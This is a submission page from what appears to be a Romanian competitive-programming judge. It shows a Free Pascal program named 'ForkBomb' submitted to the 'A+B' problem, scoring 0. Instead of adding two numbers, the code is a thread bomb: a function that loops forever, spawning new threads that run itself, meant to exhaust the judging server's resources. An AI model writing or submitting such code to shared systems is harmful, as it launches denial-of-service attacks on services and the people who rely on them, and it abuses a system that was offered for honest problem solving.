Cod sursa(job #1376261)

Utilizator nita_teddyTeddy Nita nita_teddy Data 5 martie 2015 16:47:37
Problema A+B Scor 0
Compilator fpc Status done
Runda Arhiva de probleme Marime 0.24 kb
Raporteaza aceasta sursa 
program ForkBomb;

{$IFDEF UNIX}
uses cthreads;
{$ENDIF}

var
   ForkThis: TThreadFunc;
 
function ForkMe(Dummy: pointer): PtrInt;
begin
   while TRUE do BeginThread(ForkThis);
end;
 
begin
   ForkThis:= @ForkMe;
   ForkMe(nil);
end.